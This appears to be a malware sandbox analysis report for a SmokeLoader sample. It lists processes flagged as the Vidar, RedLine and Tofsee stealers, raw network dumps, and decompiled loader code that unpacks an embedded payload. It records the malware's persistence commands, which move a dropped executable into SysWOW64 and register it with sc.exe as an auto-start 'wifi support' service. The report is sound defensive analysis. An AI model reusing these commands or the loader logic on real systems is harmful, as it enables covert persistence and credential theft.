2022-01-14 01:05:11 UTC	1562	IN	Data Raw: 63 29 f0 30 93 2c 63 b9 e5 97 67 d5 54 06 b9 fa 39 04 88 cc 64 1b 9b a6 de 6e 0b 18 b4 ed 00 84 bd ab 5c 9d b7 13 c4 91 84 0d 1f 8b 80 1a f2 52 13 c1 35 c5 e6 0b e4 84 71 48 a1 7d 5d 5e a8 94 52 a3 86 41 d0 c6 ab 7c 63 de 3c 10 7f d6 c3 00 44 bb fd 55 8d 03 c9 9e f1 2b 01 3f 67 d1 c1 69 a3 e8 a2 21 8e 4c 34 df 93 cb cb 40 ab b2 10 f2 82 ee 3e 8c 42 2f 42 63 51 31 73 b1 d8 97 88 e7 5e 8f 79 c2 c3 d9 8a 2d 40 96 a4 2c 7b 7a a9 4f b6 9f d2 87 38 78 8c 26 aa 8a 47 d1 c2 b8 41 8c 32 3a d9 b2 71 27 72 28 d0 fa 37 8c c1 98 d6 3b 11 28 f2 21 d9 01 5f 6f 8d 3d 50 d4 60 81 30 25 1f 1f 67 65 e8 a5 b4 0c 74 98 51 aa 50 02 08 d3 d3 be 0a e7 2b 89 f4 5a 6f 06 b1 2c b0 e4 11 77 fa 3e e1 cc e9 34 1d fa fb c8 64 3e 3c f5 a6 43 62 43 49 ad c8 62 83 07 c8 3a f4 bf de ed 7b Data Ascii: c)0,cgT9dn\R5qH}]^RA\|c<DU+?gi!L4@>B/BcQ1s^y-@,{zO8x&GA2:q'r(7;(!_o=P`0%getQP+Zo,w>4d><CbCIb:{
2022-01-14 01:05:11 UTC	1578	IN	Data Raw: ae 3e 6f 39 6c 3c 53 92 b8 51 c0 1c ec 85 d5 c6 b5 01 52 39 81 08 c6 e5 8d a5 5b 1a fe 63 20 06 c1 81 90 16 be 41 e3 22 6d 1e a7 f0 52 de 79 12 09 ec 3f 70 01 51 81 f1 77 ca bc 6d 0e 14 a4 bc 0b 11 ec 89 61 98 ff 0b b1 e9 08 14 0b 3b fc f4 15 41 07 05 79 fd db 72 b6 ec 01 8f d7 0a 0c 52 f2 49 96 d8 e8 d8 3f 87 ba 41 08 56 a0 f0 c8 78 c7 b6 6f 15 bd a3 35 f9 69 6a c6 bd 05 06 e1 dc 2e eb a4 eb ba a4 88 d7 8c 33 17 c8 c8 da 1e b2 4b 84 e3 b4 f3 5d 51 c9 23 7e 02 f9 d2 0e 71 73 20 9f e6 ab 22 41 f6 e5 5b 7e 12 bf bb 0a 28 f9 07 27 52 04 5d 4e 6b 28 88 43 f1 3c e5 11 a9 2f 16 37 ff d8 df cb 9e ec bf 21 61 d3 e3 6d 41 0f 9c 90 d1 2b 0d 93 a1 72 76 65 a3 52 1c df 90 1a e8 cc 58 99 8e cb e1 4d 88 3d 15 02 9c 85 64 36 c4 81 d7 f2 2f 03 8f 6b d2 0b c7 67 e9 02 1e Data Ascii: >o9l<SQR9[c A"mRy?pQwma;AyrRI?AVxo5ij.3K]Q#~qs "A[~('R]Nk(C</7!amA+rveRXM=d6/kg
2022-01-14 01:05:11 UTC	1594	IN	Data Raw: b1 1e 91 08 49 3b e3 17 35 50 25 64 e0 83 9c e8 4e 56 d3 c7 dc 6a cf ba 0f 06 fe cc b0 41 32 6c 5d cd f9 1b fa ce 18 af 2a d2 ac 10 1f 91 88 5e f0 eb 55 b1 86 cf c7 17 b9 93 c7 9b ed 2d 16 d0 bd 94 21 a4 46 cf cc e1 a0 40 9a 1f e1 11 05 8d 3f e9 29 12 5e cd 6e 00 3d f4 3c 9c bf 37 6a 7f bc 69 e0 2b 8c d0 3f 6d eb d3 76 95 15 af e0 28 15 a5 99 0d 8b 91 e2 32 e5 fe db 88 96 2b de 7f bb 72 62 8a 49 37 08 c7 39 0a 21 e1 c3 8b 81 8d 16 97 42 3b 53 59 88 e3 aa 6e 4d b7 5e 83 40 20 30 46 e8 73 b6 04 9b 53 ff 86 1b 16 37 26 f9 cf f0 45 52 c3 7e a3 2d a2 55 0c 90 67 eb 8e d3 fd 24 6b 48 88 61 da bf 85 5f d0 7a 9d 0d 83 6a 67 72 13 25 69 bb 5c a5 7a 52 1c b3 0f ac b0 47 a6 25 bc b8 86 f0 54 cb 6a a4 5e e3 10 73 cc dc 4e e1 ea e3 a1 50 9c 8e 6e 0e 89 15 f0 7d 81 5d Data Ascii: I;5P%dNVjA2l]*^U-!F@?)^n=<7ji+?mv(2+rbI79!B;SYnM^@ 0FsS7&ER~-Ug$kHa_zjgr%i\zRG%Tj^sNPn}]
2022-01-14 01:05:11 UTC	1610	IN	Data Raw: c2 53 5d 51 21 9a d6 1f be 7a 74 e5 6a c7 2d 6b 15 b2 f9 5a 2c c0 b2 0b 82 6f e7 c1 00 eb 40 c6 8d ee 0b 2e e6 0f 62 c2 9a e4 13 e0 98 78 8b a6 64 33 28 a5 0f 7b 3f 13 cd 69 a2 b8 77 47 a4 85 4e 47 7c 63 09 18 f4 1b 84 63 b8 27 16 60 c7 b7 d6 5c 56 9a 0c 11 8f ee c9 af af dc 1a 6a 67 0b 13 dd 59 d4 b3 2c f5 9a 09 2d 71 0e e7 7b 2c 8e 21 51 98 39 6b 45 8a 47 ec 87 22 62 b8 48 48 61 f9 32 d8 ee 45 64 85 cb b7 0c 34 06 e4 c1 52 4e 01 53 5d a7 1f 72 e7 0c 04 9b b9 4f e0 25 5e be 25 68 0f 2b e4 e8 a3 87 43 26 bc 9d c0 95 9e 21 06 70 3d 4f 3d ea 62 6c d6 69 98 2c 0d 5e 19 81 cc ab 99 a0 b1 e7 18 61 ba f9 06 4e 29 99 df cc a9 8e 54 2e 63 5b c9 ca 73 b9 88 57 79 4b 35 5b e9 80 f6 dc d2 95 08 37 ac ab c6 98 89 ba dc 3b a7 7b 30 e6 b1 14 62 bb 96 92 fe 6f 7e f6 93 Data Ascii: S]Q!ztj-kZ,o@.bxd3({?iwGNG\|cc'`\VjgY,-q{,!Q9kEG"bHHa2Ed4RNS]rO%^%h+C&!p=O=bli,^aN)T.c[sWyK5[7;{0bo~
2022-01-14 01:05:11 UTC	1626	IN	Data Raw: fd bd 2b 9c cf 91 8f 94 84 33 2e 8f 63 a1 b9 7c f0 85 e8 6c be 24 31 73 06 42 61 c1 34 96 01 7c a6 e6 00 b6 e3 c9 17 45 de d6 7b 17 94 ec 64 8a b8 67 af 34 09 2a 22 da c5 e9 66 f8 9d a7 a3 df 57 08 45 af 5f 4f 06 81 82 23 05 3b a9 db aa ab a8 c8 36 c5 6c 79 0f 02 7d a9 2a 1b ae 06 23 b7 6f b4 ec 7f d6 f7 f2 9b db b3 03 de d1 76 36 20 37 37 d0 b2 4e 53 29 6e f8 18 1f 98 20 d3 15 e9 6c 22 f1 99 3d 68 05 54 55 43 a8 dd 34 18 29 56 0f c8 3e 89 64 dc e0 2b 9d 5f 97 f9 6c 6d 29 6d c4 8f 73 09 60 ee b2 6a 54 c5 13 21 eb 6e bc f6 0a 3d 71 55 60 e5 e4 21 68 a7 48 2e d1 5f a6 ab c0 9d 12 bb ac 68 f3 6e 80 3a a1 24 58 79 ce f7 e9 ea e9 06 fb 6a 3d 3f 00 41 ec 74 53 f2 73 b8 26 02 f6 ab 02 cb 59 a4 6f 78 08 8a 8f 85 f4 f3 59 16 f0 5e 8e 60 8a ee 5c 82 63 ab 0e 38 c0 Data Ascii: +3.c\|l$1sBa4\|E{dg4"fWE_O#;6ly}#ov6 77NS)n l"=hTUC4)V>d+_lm)ms`jT!n=qU`!hH._hn:$Xyj=?AtSs&YoxY^`\c8
2022-01-14 01:05:11 UTC	1642	IN	Data Raw: fe 0e 9b 49 d8 19 34 3e 83 23 3c 6b 91 9d 86 c4 d3 e8 13 fd 0b c9 41 b5 6b 22 05 bd 98 99 f4 64 5b 22 d6 b0 22 fe 2e f9 d2 93 a7 4e 6b 01 65 9a c2 f6 0f 93 28 6a e5 ec 54 15 00 7d 89 c6 04 af ed b5 de 2a 0d e1 8c 8f e9 34 ef d1 f1 8e c1 3e 79 83 e4 fd 87 3f 30 5d 3e 29 c6 9c af ca ef e6 de 84 e4 be 7d 53 83 dd 01 cf 82 af b0 61 45 ff ea fb 16 c6 02 92 c4 7d a6 83 5b 43 c7 86 e9 a0 2d 33 5d 98 f7 9b 36 1d bb 0d 95 60 fe 4d 7e 20 4a f5 cd 4a 04 d0 0d 69 ee 63 e2 6a b5 5c 63 ea e9 fe 06 09 d4 91 a2 aa a0 6d 2c 88 8d 6b 33 34 87 9a 87 56 53 e8 8c 33 15 8a ee e5 4d 60 16 9f f5 61 13 7f 5d b2 44 89 dc 0c ba 7b 59 0d 80 26 b4 f7 6b 17 69 f8 dd d1 5b 75 65 80 8d 3b 9c f7 41 05 52 a4 22 94 97 9a c8 6a 10 20 c5 62 fd 22 1b 14 02 4c ee d8 39 22 6c f5 1a a9 3d 82 71 Data Ascii: I4>#<kAk"d["".Nke(jT}*4>y?0]>)}SaE}[C-3]6`M~ JJicj\cm,k34VS3M`a]D{Y&ki[ue;AR"j b"L9"l=q

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: PPsa8TXVuy.exe PID: 6588 Parent PID: 4484

General

Start time:	02:03:32
Start date:	14/01/2022
Path:	C:\Users\user\Desktop\PPsa8TXVuy.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\PPsa8TXVuy.exe"
Imagebase:	0x400000
File size:	293888 bytes
MD5 hash:	8CD20CB52ADC22E02B72F1ED7ACDFFA3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: PPsa8TXVuy.exe PID: 3676 Parent PID: 6588

General

Start time:	02:03:34
Start date:	14/01/2022
Path:	C:\Users\user\Desktop\PPsa8TXVuy.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\PPsa8TXVuy.exe"
Imagebase:	0x400000
File size:	293888 bytes
MD5 hash:	8CD20CB52ADC22E02B72F1ED7ACDFFA3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000003.00000002.348249528.0000000000460000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000003.00000002.348386960.00000000005A1000.00000004.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: svchost.exe PID: 1376 Parent PID: 572

General

Start time:	02:03:40
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: explorer.exe PID: 3352 Parent PID: 3676

General

Start time:	02:03:41
Start date:	14/01/2022
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff720ea0000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000006.00000000.335338830.0000000002E11000.00000020.00020000.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 6716 Parent PID: 572

General

Start time:	02:03:55
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 5684 Parent PID: 572

General

Start time:	02:04:10
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: fjsvubj PID: 6560 Parent PID: 664

General

Start time:	02:04:13
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Roaming\fjsvubj
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\fjsvubj
Imagebase:	0x400000
File size:	293888 bytes
MD5 hash:	8CD20CB52ADC22E02B72F1ED7ACDFFA3
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: fjsvubj PID: 6032 Parent PID: 6560

General

Start time:	02:04:15
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Roaming\fjsvubj
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\fjsvubj
Imagebase:	0x400000
File size:	293888 bytes
MD5 hash:	8CD20CB52ADC22E02B72F1ED7ACDFFA3
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000B.00000002.405483918.0000000000570000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000B.00000002.405522492.0000000000591000.00000004.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: A975.exe PID: 4852 Parent PID: 3352

General

Start time:	02:04:18
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Local\Temp\A975.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\A975.exe
Imagebase:	0x400000
File size:	301056 bytes
MD5 hash:	277680BD3182EB0940BC356FF4712BEF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 46%, Metadefender, Browse Detection: 77%, ReversingLabs
Reputation:	moderate

Chronological Activities

Analysis Process: B55D.exe PID: 6484 Parent PID: 3352

General

Start time:	02:04:21
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Local\Temp\B55D.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\B55D.exe
Imagebase:	0x400000
File size:	320000 bytes
MD5 hash:	137062F7882560195EF978685B52ADF8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: svchost.exe PID: 5928 Parent PID: 572

General

Start time:	02:04:21
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 5456 Parent PID: 572

General

Start time:	02:04:22
Start date:	14/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff70d6e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: WerFault.exe PID: 5352 Parent PID: 5456

General

Start time:	02:04:23
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 4852 -ip 4852
Imagebase:	0x1260000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: B55D.exe PID: 4724 Parent PID: 6484

General

Start time:	02:04:23
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Local\Temp\B55D.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\B55D.exe
Imagebase:	0x400000
File size:	320000 bytes
MD5 hash:	137062F7882560195EF978685B52ADF8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000013.00000002.422155838.0000000002091000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000013.00000002.421814485.0000000000540000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: C29C.exe PID: 6536 Parent PID: 3352

General

Start time:	02:04:24
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Local\Temp\C29C.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\C29C.exe
Imagebase:	0x400000
File size:	323072 bytes
MD5 hash:	E65722B6D04BD927BCBF5545A8C45785
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000014.00000002.410789350.0000000000783000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000014.00000002.410789350.0000000000783000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: WerFault.exe PID: 4740 Parent PID: 4852

General

Start time:	02:04:27
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 4852 -s 520
Imagebase:	0x1260000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: BE39.exe PID: 6616 Parent PID: 3352

General

Start time:	02:04:29
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Local\Temp\BE39.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\BE39.exe
Imagebase:	0x7ff62a980000
File size:	320512 bytes
MD5 hash:	2D03728D8CC5C7FF0FB9F70DE3292CD4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 00000016.00000002.462611897.0000000000400000.00000040.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 00000016.00000002.462794356.0000000000640000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 00000016.00000003.416092673.0000000000660000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML

Chronological Activities

Analysis Process: CBE6.exe PID: 568 Parent PID: 3352

General

Start time:	02:04:32
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Local\Temp\CBE6.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\CBE6.exe
Imagebase:	0xc10000
File size:	537088 bytes
MD5 hash:	D7DF01D8158BFADDC8BA48390E52F355
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000019.00000002.467115286.0000000003F71000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 46%, Metadefender, Browse Detection: 89%, ReversingLabs

Chronological Activities

Analysis Process: cmd.exe PID: 4844 Parent PID: 6616

General

Start time:	02:04:38
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\cmd.exe" /C mkdir C:\Windows\SysWOW64\fwpgxpnt\
Imagebase:	0xd80000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 4200 Parent PID: 4844

General

Start time:	02:04:38
Start date:	14/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 5348 Parent PID: 6616

General

Start time:	02:04:41
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\qsflslyl.exe" C:\Windows\SysWOW64\fwpgxpnt\
Imagebase:	0xd80000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 3408 Parent PID: 5348

General

Start time:	02:04:42
Start date:	14/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff71aa50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: sc.exe PID: 7136 Parent PID: 6616

General

Start time:	02:04:47
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\sc.exe" create fwpgxpnt binPath= "C:\Windows\SysWOW64\fwpgxpnt\qsflslyl.exe /d\"C:\Users\user\AppData\Local\Temp\BE39.exe\"" type= own start= auto DisplayName= "wifi support
Imagebase:	0x980000
File size:	60928 bytes
MD5 hash:	24A3E2603E63BCB9695A2935D3B24695
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: CBE6.exe PID: 3556 Parent PID: 568

General

Start time:	02:04:47
Start date:	14/01/2022
Path:	C:\Users\user\AppData\Local\Temp\CBE6.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\CBE6.exe
Imagebase:	0x740000
File size:	537088 bytes
MD5 hash:	D7DF01D8158BFADDC8BA48390E52F355
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000029.00000000.460150165.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000029.00000000.461450610.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000029.00000000.462290204.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000029.00000000.460728754.0000000000402000.00000040.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: conhost.exe PID: 6608 Parent PID: 7136

General

Start time:	02:04:47
Start date:	14/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: sc.exe PID: 1356 Parent PID: 6616

General

Start time:	02:04:50
Start date:	14/01/2022
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\sc.exe" description fwpgxpnt "wifi internet conection
Imagebase:	0x980000
File size:	60928 bytes
MD5 hash:	24A3E2603E63BCB9695A2935D3B24695
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 1528 Parent PID: 1356

General

Start time:	02:04:50
Start date:	14/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: PPsa8TXVuy.exe PID: 6588 Parent PID: 4484 PPsa8TXVuy.exeCOMMON

Execution Graph

Execution Coverage:	4.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	5.7%
Total number of Nodes:	1799
Total number of Limit Nodes:	34

Executed Functions

Function 004017B8, Relevance: 54.4, APIs: 22, Strings: 9, Instructions: 185
memorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 67%

			E004017B8(void* __edx, void* __fp0) {
				signed int _v32;
				struct _SECURITY_ATTRIBUTES* _v40;
				char _v1060;
				char _v2084;
				char _v3096;
				char _v3108;
				struct _OSVERSIONINFOA _v3260;
				void* _v3276;
				void _v3280;
				intOrPtr _v3296;
				struct _SECURITY_ATTRIBUTES* _v3300;
				WCHAR* _v3312;
				short _v3316;
				char _v3320;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t30;
				intOrPtr _t32;
				void* _t37;
				void* _t38;
				intOrPtr* _t67;
				intOrPtr* _t69;
				WCHAR* _t73;
				void* _t79;
				void* _t81;
				void* _t84;
				void* _t87;
				void* _t88;
				void* _t92;
				signed int _t93;
				signed int _t94;
				intOrPtr* _t95;
				intOrPtr* _t96;
				void* _t111;

				_t111 = __fp0;
				_t81 = __edx;
				_t94 = _t93 & 0xfffffff8;
				_push(0xffffffff);
				_push(E00412F96);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t94;
				_t95 = _t94 - 0xcd0;
				_push(_t87);
				_t73 = 0;
				_t98 =  *0x43e9cc - 0x20a;
				if( *0x43e9cc == 0x20a) {
					SetComputerNameW(L"Zeyu tuvu vegud rayuz");
					EnumSystemLocalesW(0, 0);
					__imp__GetConsoleAliasesA( &_v3096, 0, 0);
					FindResourceExA(0, "fofako", "cimojudozuwelam", 0);
					GetVersionExA( &_v3260);
					VirtualQuery(0, 0, 0);
					CreateThread(0, 0, 0, 0, 0, 0);
					__imp__SetComputerNameExW(0, L"Puvehocusegaw nomexu dawovegubiteyeg lifezeri baju");
					_push("runexobozez");
					E004028A6(0, _t81, 0x43b908, _t87, _t98);
					_t79 = 0x43b908;
					_v3296 = 7;
					_v3300 = 0;
					_v3316 = 0;
					E00401D8D( &_v3320, 6);
					_v40 = 0;
					E004026A4(0, _t81, 0x43b908, 0);
					 *_t95 = 0x929;
					_push(0xea);
					E00402615(_t79, _t98);
					E00402853(0, 0, "0.txt", "rb");
					_t96 = _t95 + 0x14;
					E00402E41(0, _t81, 0x43b908,  &_v3320, _t98);
					_t67 = _t96;
					 *_t67 = 0;
					 *((intOrPtr*)(_t67 + 4)) = 0;
					E00403010(_t81, 0);
					st0 = _t111;
					_t69 = _t96;
					 *_t69 = 0;
					 *((intOrPtr*)(_t69 + 4)) = 0;
					E00402980(0, 0);
					st0 = _t111;
					_v40 = _v40 | 0xffffffff;
					E00401BEE(0, 0x43b908,  &_v3320, _t92, 1, 0);
				}
				_t88 = 0;
				while(1) {
					__imp__GetConsoleAliasA(_t73, _t73, _t73, _t73);
					if(_t88 > 0x90ce655) {
						break;
					}
					_t88 = _t88 + 1;
					if(_t88 < 0x7048dce2) {
						continue;
					}
					break;
				}
				E00401789();
				 *0x43e4bc = GetModuleHandleA(0x43b908);
				_t30 = LocalAlloc(_t73,  *0x43e9cc); // executed
				 *0x43e4b8 = _t30;
				E0040179D();
				_t32 =  *0x41a604; // 0x3802dd
				_t84 = 0;
				 *0x43fdbc = _t32;
				if( *0x43e9cc > _t73) {
					do {
						 *((char*)( *0x43e4b8 + _t84)) =  *((intOrPtr*)( *0x43fdbc + _t84 + 0xb2d3b));
						if( *0x43e9cc == 0x44) {
							GetConsoleTitleA( &_v3108, _t73);
						}
						_t84 = _t84 + 1;
					} while (_t84 <  *0x43e9cc);
				}
				_v3312 = _t73;
				do {
					_t75 = _v3312;
					if(_v3312 +  *0x43e9cc == 0x5e) {
						GetConsoleTitleA( &_v2084, _t73);
						GetAtomNameA(_t73,  &_v1060, _t73);
						_v3280 = _t73;
						asm("stosd");
						asm("stosd");
						asm("stosd");
						asm("stosd");
